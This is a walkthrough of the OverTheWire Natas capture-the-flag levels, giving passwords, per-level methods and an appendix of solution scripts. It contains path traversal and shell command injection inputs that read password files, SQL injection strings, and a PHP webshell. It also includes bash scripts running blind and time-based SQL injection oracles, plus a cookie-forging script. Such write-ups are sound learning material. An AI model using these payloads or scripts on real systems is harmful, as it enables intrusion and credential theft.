11 KiB
Passwords + Methodology
natas0: natas0
natas1: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
View source
natas2: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
View source + enable absolute mode (browser extension)
natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
There's a tracking pixel <img src="files/pixel.png"> so checking
out the files/ directory we find files/users.txt
natas4: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ
Check robots.txt
natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
Forge the HTTP "Referer" header
bash http -F \ # follow redirects -a natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ \ # auth http://natas4.natas.labs.overthewire.org/index.php \ # host "Referer: http://natas5.natas.labs.overthewire.org/" # forgery
natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
Forge your cookie to be "loggedIn: 1"
natas7: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS
The source references "includes/secret.inc", navigate here
then put the secret into the search widget.
natas8: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q
Exploit how index.php selects the page to load
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
natas9: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
Find the encoded secret in the source code, decode in python via:
base64.b64decode(bytes.fromhex(encoded)[::-1]).decode()
natas10: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
Bash injection with the following input
a b &>/dev/null | cat /etc/natas_webpass/natas10 #
natas11: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
Another bash injection
. /etc/natas_webpass/natas11 #
natas12: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB
Exploit that the cookie is in a known format, simply xor
with a known plaintext and see what key repeats. Then use
that key to forge a new cookie with "showpassword":"yes".
NOTE: see #Natas11 Solution Script
natas13: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
Exploit the fact that the upload path is stored in a hidden field of the form,
use Inspect Element to modify this upload path to be .php not .jpg. Upload
a php webshell (payload and methodology can vary though). Then navigate there.
Via the webshell cat /etc/natas_webpass/natas13
NOTE: see #Natas12 Solution Script
natas14: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
Exploit MIME type detection and size limit by generating a tiny 1x1 jpg
and adding a php script to the end. I used the same webshell as I did for natas13.
Then use cat image.jpg webshell.php > payload.php. This will be detected
as a jpg and will be viewable as a jpg, modify the hidden form field again
(same as for natas13) and change file path to .php.
NOTE: image generation via magick -size 1x1 pattern:checkerboard image.jpg
natas15: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
Exploit SQL injection for the query:
SELECT * from users where username="{username}" and password="{password}"
Injection Parameters: username:`" or 1=1--`, password:`" --`
natas16: hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
Use the website as an oracle under an SQL injection.
NOTE: see #Natas15 Solution Script
natas17: EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
Another oracle attack using an SQL injection. Specifically guess the
password character by character using grep to return NOTHING on failure
and the entire password on match echo "\$(grep ^<GUESS>.* /etc/natas_webpass/natas17)"
which will either dump the entire dictionary or nothing (respectively).
NOTE: see #Natas16 Solution Script
natas18: 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ
Another oracle attack using an SQL injection AND this time
using a timing based attack.
NOTE: see #Natas17 Solution Script
natas19:
natas20:
Learnings
SQL Comments for injections
An appended space character is sometimes required ie -- not --.
Appendix:
Natas11 Solution Script
import base64 as b64
PLAINTEXT = '''{"showpassword":"no","bgcolor":"#ffffff"}'''
COOKIE = 'HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg='
FORGED_PLAINTEXT = '''{"showpassword":"yes","bgcolor":"#ffffff"}'''
def xorbytes(x: bytes, y: bytes) -> bytes:
Lx, Ly = len(x), len(y)
if Lx < Ly: return xorbytes(y, x)
return bytes(x[i]^y[i%Ly] for i in range(Lx))
def extract_key(k: bytes) -> tuple[bytes, int] | None:
Lk = len(k)
substr = b''
length = 0
for i in range(Lk):
substr += k[i:i+1]
length += 1
if k == substr*(Lk//length) + substr[:Lk%length]:
return substr, length
return None
def main() -> None:
plaintext = PLAINTEXT.encode()
cookie = b64.b64decode(COOKIE)
decoded = xorbytes(cookie, plaintext)
print('Modulated Key:', ''.join(chr(x) for x in decoded))
key, key_size = extract_key(decoded)
forged_cookie = b64.b64encode(xorbytes(FORGED_PLAINTEXT.encode(), key))
print('Forged:', forged_cookie)
if __name__ == '__main__':
try:
main()
except (KeyboardInterrupt, EOFError):
print('\n[!] Interrupt')
Natas12 Solution Script
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
Natas15 Solution Script
#!/usr/bin/env bash
req() {
curl http://natas15.natas.labs.overthewire.org/index.php \
-X POST \
-u natas15:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx \
-d "username=natas16\" and $1 -- " \
-sS \
| grep exists &>/dev/null
}
# ie `guess_length "=32"` or `guess_length ">32"`
guess_length() {
req "length(password)$1"
}
get_length() {
echo "[*] Guessing length"
local MIN=${1:-1}
local MAX=${2:-100}
# local PADMAX=${#MAX}
local FGUESS="%${#MAX}s - %-${#MAX}s"
while true; do
printf "[-] Guess: $FGUESS\r" $MIN $MAX
if [ $((MAX-MIN)) -eq 1 ]; then
break
fi;
local MID=$(( (MAX+MIN)/2 ))
guess_length ">$MID" && MIN=$MID || MAX=$MID
done
printf "[+] Found: $FGUESS\n" $MIN $MAX
return $MAX
}
LOWER="abcdefghijklmnopqrstuvwxyz"
UPPER="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
DIGIT="0123456789"
guess_regex() {
req "regexp_like(password, '^$1[a-zA-Z0-9]*\$', 'c')"
}
exploit_oracle() {
echo "[@] Forcing oracle exploit"
local PREFIX=""
local LENGTH=$1
while true; do
if [ "${#PREFIX}" = "$LENGTH" ]; then
break
fi
for chars in $LOWER $UPPER $DIGIT; do
local MIN=1
local MAX=${#chars}
local RANGE="[${chars:MIN-1:1}-${chars:MAX-1:1}]"
echo -en "[*] ?? $RANGE\r"
guess_regex "$PREFIX$RANGE$POSTFIX" || continue
echo "[+] Found[CHARSET]: $chars"
local MID=$(( (MAX+MIN)/2 ))
while true; do
echo -en "[*] Guess: $RANGE\r"
if [ $((MAX-MIN)) -eq 1 ]; then
if guess_regex "$PREFIX${chars:MIN-1:1}"; then
PREFIX="${PREFIX}${chars:MIN-1:1}"
else
PREFIX="${PREFIX}${chars:MAX-1:1}"
fi
echo -e "[+] Update: ${chars:MAX-1:1} -> $PREFIX"
break
fi;
MID=$(( (MAX+MIN)/2 ))
RANGE="[${chars:MIN-1:1}-${chars:MID-1:1}]"
guess_regex "$PREFIX$RANGE" && MAX=$MID || MIN=$MID
done
break
done
done
printf "[+] Found: $FGUESS\n" $MIN $MAX
}
get_length
LENGTH=$?
exploit_oracle "$LENGTH"
Natas16 Solution Script
#!/usr/bin/env bash
fcmd() {
# echo '$(grep ^$1[a-zA-Z0-9]*$ /etc/natas_webpass/natas17)'
echo "\$(grep ^$1.* /etc/natas_webpass/natas17)"
}
req() {
curl http://natas16.natas.labs.overthewire.org/index.php \
-X POST \
-u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo \
-d "needle=$1" \
-sS \
| grep --after-context 2 "<pre>" \
| tail -n1 \
| grep "African" &>/dev/null
}
CHARSET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
KNOWN=""
GUESS=""
for ((i=0 ; i < 32 ; i++)); do
for ((j=0; j<${#CHARSET}; j++)); do
c=${CHARSET:j:1}
GUESS="$KNOWN$c"
echo -en "[*] Guess: $GUESS \r"
# echo $(fcmd $guess)
req "$(fcmd $GUESS)" || break # && KNOWN=$guess # && break
done
KNOWN=$GUESS
echo -en "[+] Known: $KNOWN\n "
done
echo
Natas17 Solution Script
#!/usr/bin/env bash
USERNAME="natas17"
PASSWORD="EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC"
TARGET="natas18"
DELAY=4
PREFIX="5mxv8BZZVSMzzYPcY95M9m"
req() {
CMD=$@
curl "http://$USERNAME.natas.labs.overthewire.org/index.php" \
-X POST \
-u "$USERNAME:$PASSWORD" \
-d "username=natas18\" AND $CMD AND SLEEP($DELAY) # " \
-sS &>/dev/null
}
time_req() (
export STAT
export CMD="$@"
(time (req $CMD; STAT=$?)) \
|& grep real \
| awk '{print substr($2, 3, 1)}'
return $STAT
)
# ie `guess_length "=32"` or `guess_length ">32"`
guess_length() {
ELAPSED=$(time_req "LENGTH(password)$1")
return $(( ELAPSED < DELAY ))
}
get_length() {
echo "[*] Guessing length"
local MIN=${1:-1}
local MAX=${2:-100}
# local PADMAX=${#MAX}
local FGUESS="%${#MAX}s-%-${#MAX}s"
while true; do
printf "[-] Guess: $FGUESS\r" $MIN $MAX
if [ $((MAX-MIN)) -eq 1 ]; then
break
fi;
local MID=$(( (MAX+MIN)/2 ))
guess_length ">$MID" && MIN=$MID || MAX=$MID
done
printf "[+] Found: $FGUESS\n" $MIN $MAX
return $MAX
}
LOWER="abcdefghijklmnopqrstuvwxyz"
UPPER="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
DIGIT="0123456789"
guess_regex() {
ELAPSED=$(time_req "REGEXP_LIKE(password, '^$1[a-zA-Z0-9]*\$', 'c')")
return $(( ELAPSED < DELAY ))
}
exploit_oracle() {
echo "[@] Forcing oracle exploit"
local PREFIX=""
local LENGTH=$1
while true; do
if [ "${#PREFIX}" = "$LENGTH" ]; then
break
fi
for chars in $LOWER $UPPER $DIGIT; do
local MIN=1
local MAX=${#chars}
local RANGE="[${chars:MIN-1:1}-${chars:MAX-1:1}]"
echo -en "[*] ?? $RANGE\r"
guess_regex "$PREFIX$RANGE$POSTFIX" || continue
echo "[+] Found[CHARSET]: $chars"
local MID=$(( (MAX+MIN)/2 ))
while true; do
echo -en "[*] Guess: $RANGE\r"
if [ $((MAX-MIN)) -eq 1 ]; then
local NEWCHAR
if guess_regex "$PREFIX${chars:MIN-1:1}"; then
NEWCHAR=${chars:MIN-1:1}
else
NEWCHAR=${chars:MAX-1:1}
fi
PREFIX="$PREFIX$NEWCHAR"
echo -e "[+] Update: $NEWCHAR -> $PREFIX"
break
fi;
MID=$(( (MAX+MIN)/2 ))
RANGE="[${chars:MIN-1:1}-${chars:MID-1:1}]"
guess_regex "$PREFIX$RANGE" && MAX=$MID || MIN=$MID
done
break
done
done
printf "[+] Found: $FGUESS\n" $MIN $MAX
}
get_length
LENGTH=$?
exploit_oracle "$LENGTH"